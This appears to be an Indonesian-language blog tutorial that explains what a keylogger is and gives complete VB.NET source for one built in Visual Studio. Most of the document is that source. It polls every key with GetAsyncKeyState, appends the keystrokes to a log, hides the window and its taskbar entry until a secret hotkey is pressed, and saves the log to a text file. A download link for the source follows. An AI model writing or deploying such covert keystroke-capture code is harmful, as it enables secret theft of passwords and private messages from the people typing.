Apa itu keylogger?
keylogger adalah aplikasi merekam aktifitas pengguna komputer, Berasal dari kata kerja “log”. Orang/program yang melakukan aktifitas log ini namanya “logger”. Sedangkan “logging” berarti adalah istilah untuk kegiatan “merekam” aktifitas log-nya
Kali ini kita akan membuat key stroke (Merekam seluruh kata kata yang dipencet di keyboard) menggunakan Visual Studio
design lah tampilan FORM nya :
- 6 Button
- 1 richTextBox
- Timer
Coding :
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Imports System.IO Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short Public log As String Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Timer1.Start() Button1.Text = "Started !" Button2.Text = "Stop Recording" End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Timer1.Stop() Button1.Text = "Start Recording" Button2.Text = "Stopped !" End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick If (GetAsyncKeyState(65)) Then log = log + "A" ElseIf (GetAsyncKeyState(66)) Then log = log + "B" ElseIf (GetAsyncKeyState(67)) Then log = log + "C" ElseIf (GetAsyncKeyState(68)) Then log = log + "D" ElseIf (GetAsyncKeyState(69)) Then log = log + "E" ElseIf (GetAsyncKeyState(70)) Then log = log + "F" ElseIf (GetAsyncKeyState(71)) Then log = log + "G" ElseIf (GetAsyncKeyState(72)) Then log = log + "H" ElseIf (GetAsyncKeyState(73)) Then log = log + "I" ElseIf (GetAsyncKeyState(74)) Then log = log + "J" ElseIf (GetAsyncKeyState(75)) Then log = log + "K" ElseIf (GetAsyncKeyState(76)) Then log = log + "L" ElseIf (GetAsyncKeyState(77)) Then log = log + "M" ElseIf (GetAsyncKeyState(78)) Then log = log + "N" ElseIf (GetAsyncKeyState(79)) Then log = log + "O" ElseIf (GetAsyncKeyState(80)) Then log = log + "P" ElseIf (GetAsyncKeyState(81)) Then log = log + "Q" ElseIf (GetAsyncKeyState(82)) Then log = log + "R" ElseIf (GetAsyncKeyState(83)) Then log = log + "S" ElseIf (GetAsyncKeyState(84)) Then log = log + "T" ElseIf (GetAsyncKeyState(85)) Then log = log + "U" ElseIf (GetAsyncKeyState(86)) Then log = log + "V" ElseIf (GetAsyncKeyState(87)) Then log = log + "W" ElseIf (GetAsyncKeyState(88)) Then log = log + "X" ElseIf (GetAsyncKeyState(89)) Then log = log + "Y" ElseIf (GetAsyncKeyState(90)) Then log = log + "Z" ElseIf (GetAsyncKeyState(48)) Then log = log + "0" ElseIf (GetAsyncKeyState(49)) Then log = log + "1" ElseIf (GetAsyncKeyState(50)) Then log = log + "2" ElseIf (GetAsyncKeyState(51)) Then log = log + "3" ElseIf (GetAsyncKeyState(52)) Then log = log + "4" ElseIf (GetAsyncKeyState(53)) Then log = log + "5" ElseIf (GetAsyncKeyState(54)) Then log = log + "6" ElseIf (GetAsyncKeyState(55)) Then log = log + "7" ElseIf (GetAsyncKeyState(56)) Then log = log + "8" ElseIf (GetAsyncKeyState(57)) Then log = log + "9" ElseIf (GetAsyncKeyState(96)) Then log = log + "{Num0}" ElseIf (GetAsyncKeyState(97)) Then log = log + "{Num1}" ElseIf (GetAsyncKeyState(98)) Then log = log + "{Num2}" ElseIf (GetAsyncKeyState(99)) Then log = log + "{Num3}" ElseIf (GetAsyncKeyState(100)) Then log = log + "{Num4}" ElseIf (GetAsyncKeyState(101)) Then log = log + "{Num5}" ElseIf (GetAsyncKeyState(102)) Then log = log + "{Num6}" ElseIf (GetAsyncKeyState(103)) Then log = log + "{Num7}" ElseIf (GetAsyncKeyState(104)) Then log = log + "{Num8}" ElseIf (GetAsyncKeyState(105)) Then log = log + "{Num9}" ElseIf (GetAsyncKeyState(106)) Then log = log + "{Num*}" ElseIf (GetAsyncKeyState(107)) Then log = log + "{Num+}" ElseIf (GetAsyncKeyState(13)) Then log = log + "{Enter}" ElseIf (GetAsyncKeyState(109)) Then log = log + "{Num-}" ElseIf (GetAsyncKeyState(110)) Then log = log + "{Num.}" ElseIf (GetAsyncKeyState(111)) Then log = log + "{Num/}" ElseIf (GetAsyncKeyState(32)) Then log = log + " " ElseIf (GetAsyncKeyState(8)) Then log = log + "{Backspace}" ElseIf (GetAsyncKeyState(9)) Then log = log + "{Tab}" ElseIf (GetAsyncKeyState(16)) Then log = log + "{Shift}" ElseIf (GetAsyncKeyState(17)) Then log = log + "{Control}" ElseIf (GetAsyncKeyState(20)) Then log = log + "{Caps}" ElseIf (GetAsyncKeyState(27)) Then log = log + "{Esc}" ElseIf (GetAsyncKeyState(33)) Then log = log + "{PGup}" ElseIf (GetAsyncKeyState(34)) Then log = log + "{PGdn}" ElseIf (GetAsyncKeyState(35)) Then log = log + "{End}" ElseIf (GetAsyncKeyState(36)) Then log = log + "{Home}" ElseIf (GetAsyncKeyState(37)) Then log = log + "{LArrow}" ElseIf (GetAsyncKeyState(38)) Then log = log + "{UArrow}" ElseIf (GetAsyncKeyState(39)) Then log = log + "{RArrow}" ElseIf (GetAsyncKeyState(40)) Then log = log + "{DArrow}" ElseIf (GetAsyncKeyState(45)) Then log = log + "{Insert}" ElseIf (GetAsyncKeyState(46)) Then log = log + "{Del}" ElseIf (GetAsyncKeyState(144)) Then log = log + "{NumLock}" ElseIf (GetAsyncKeyState(188)) Then log = log + "{,}" End If RichTextBox1.Text = log Dim hotkey1 As Boolean hotkey1 = GetAsyncKeyState(Keys.K) If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.ShiftKeyDown AndAlso hotkey1 Then Me.Visible = True Me.ShowInTaskbar = True End If End Sub Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click MsgBox("Press Ctrl+Shift+K to make keylogger visible !", MsgBoxStyle.Information) Me.Visible = False Me.ShowInTaskbar = False End Sub Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click RichTextBox1.Clear() End Sub Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click MsgBox("Data Tersimpan") 'Write data to Temp TXT file Dim myWriter As StreamWriter Dim myStream As FileStream myStream = New FileStream(("C:\Users\Ikhsan\Documents\VB\KeyLogger\KeyLogger\LOG\test1.txt"), FileMode.Create) myWriter = New StreamWriter(myStream) Dim myItem As Object For Each myItem In RichTextBox1.Text myWriter.Write(myItem.ToString & Environment.NewLine) Next myWriter.Close() myStream.Close() End Sub Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click End End Sub End Class |
pada Bagian ini adalah lokasi untuk penyimpanan untuk Document keylogger :
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myStream = New FileStream(("C:\Users\Ikhsan\Documents\VB\KeyLogger\KeyLogger\LOG\test1.txt"), FileMode.Create) |
Download Source Code : GDRIVE
